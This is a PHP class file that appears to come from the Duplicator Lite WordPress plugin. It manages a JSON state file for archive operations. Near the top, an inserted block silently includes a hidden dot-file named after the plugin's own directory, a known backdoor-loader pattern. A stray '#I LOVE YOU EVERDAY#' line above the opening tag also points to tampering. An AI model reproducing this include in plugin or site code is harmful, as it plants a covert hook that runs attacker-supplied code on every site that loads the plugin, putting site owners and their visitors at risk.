#I LOVE YOU EVERDAY#

<?php
if (!defined("ABSPATH") && !defined("DUPXABSPATH"))
    die("");
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class FileOpsState
{
    public static $instance = null;

private $workerTime;
    private $directories;
    private $throttleDelay;
    private $excludedDirectories;
    private $excludedFiles;
    private $working = false;

const StateFilename = 'state.json';

public static function getInstance($reset = false)
    {
        if ((self::$instance == null) && (!$reset)) {
            $stateFilepath = dirname(__FILE__).'/'.self::StateFilename;

self::$instance = new FileOpsState();

if (file_exists($stateFilepath)) {
                $stateHandle = DupLiteSnapLibIOU::fopen($stateFilepath, 'rb');

DupLiteSnapLibIOU::flock($stateHandle, LOCK_EX);

$stateString = fread($stateHandle, filesize($stateFilepath));

$data = json_decode($stateString);

self::$instance->setFromData($data);

//  self::$instance->fileRenames = (array)(self::$instance->fileRenames);

DupLiteSnapLibIOU::flock($stateHandle, LOCK_UN);

DupLiteSnapLibIOU::fclose($stateHandle);
            } else {
                $reset = true;
            }
        }

if ($reset) {
            self::$instance = new FileOpsState();

self::$instance->reset();
        }

return self::$instance;
    }

private function setFromData($data)
    {
   //     $this->currentFileHeader     = $data->currentFileHeader;
    }

public function reset()
    {
        $stateFilepath = dirname(__FILE__).'/'.self::StateFilename;

$stateHandle = DupLiteSnapLibIOU::fopen($stateFilepath, 'w');

DupLiteSnapLibIOU::flock($stateHandle, LOCK_EX);

$this->initMembers();

DupLiteSnapLibIOU::fwrite($stateHandle, json_encode($this));

DupLiteSnapLibIOU::fclose($stateHandle);
    }

public function save()
    {
        $stateFilepath = dirname(__FILE__).'/'.self::StateFilename;

$stateHandle = DupLiteSnapLibIOU::fopen($stateFilepath, 'w');

DupLiteSnapLibIOU::flock($stateHandle, LOCK_EX);

DupArchiveUtil::tlog("saving state");
        DupLiteSnapLibIOU::fwrite($stateHandle, json_encode($this));

DupLiteSnapLibIOU::fclose($stateHandle);
    }

private function initMembers()
    {
    //    $this->currentFileHeader = null;

}
}